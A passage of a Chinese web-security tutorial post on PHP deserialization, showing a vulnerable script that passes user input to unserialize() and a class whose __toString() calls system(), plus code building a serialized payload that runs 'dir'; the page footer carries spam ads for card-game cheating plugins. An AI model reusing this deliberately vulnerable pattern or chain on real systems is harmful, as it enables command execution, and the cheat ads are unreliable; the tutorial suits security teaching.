【web】-反序列化-to_string
创始人
2024-12-28 06:04:56
0次 
s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候，自动执行

起点："hello".$this->s;

终点：system($this->cmd);

跳板："hello".$this->s;

s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下：

上一篇：EasyAnimate-v3版本支持I2V及超长视频生成

下一篇：STM32全栈嵌入式人脸识别考勤系统：融合OpenCV、Qt和SQLite的解决方案

相关内容

热门资讯

爆料教程开挂！微友约局辅助，新... 爆料教程开挂！微友约局辅助，新超凡辅助（透视神器开挂辅助安装）；亲，微友约局辅助这款游戏原来确实可以...
实测辅助！传送屋激k有挂吗，潮... 【亲，潮汕掌上娱有破解版吗 这款游戏可以开挂的，确实是有挂的，很多玩家在这款潮汕掌上娱有破解版吗中打...
德州论坛辅助！小程序牵手跑得快... 德州论坛辅助！小程序牵手跑得快辅助器，广东雀神智能插件使用免费（推荐几款新版开挂辅助安装）>>您好：...
爆料教程开挂！新超凡辅助，新鸿... 爆料教程开挂！新超凡辅助，新鸿狐脚本（热点推荐开挂辅助插件）；无需打开直接搜索加薇136704302...
必看辅助！逗娱碰胡俱乐部插件，... 逗娱碰胡俱乐部插件是一款专注玩家量身打造的游戏记牌类型软件，在逗娱碰胡俱乐部插件这款游戏中我们可以记...
科技教程辅助！决胜游戏辅助器，... 科技教程辅助！决胜游戏辅助器，三加一辅助器（必备辅助推荐开挂辅助插件）；无需打开直接搜索打开薇:13...
发现辅助！榕城510k有没有挂... 榕城510k有没有挂是一款专注玩家量身打造的游戏记牌类型软件，在榕城510k有没有挂这款游戏中我们可...
正版辅助！指尖辅助，哈糖大菠萝... 哈糖大菠萝辅助器是一款专注玩家量身打造的游戏记牌类型软件，在哈糖大菠萝辅助器这款游戏中我们可以记录下...
技巧教程辅助！雀友会潮汕麻将开... 技巧教程辅助！雀友会潮汕麻将开挂辅助，樱花之盛有挂吗（透视系统开挂辅助平台） >>您好：软件加薇13...
普及教程开挂！激k辅助器有挂吗... 普及教程开挂！激k辅助器有挂吗，雀友会广东潮汕麻雀辅助（盘点一款开挂辅助工具）雀友会广东潮汕麻雀辅助...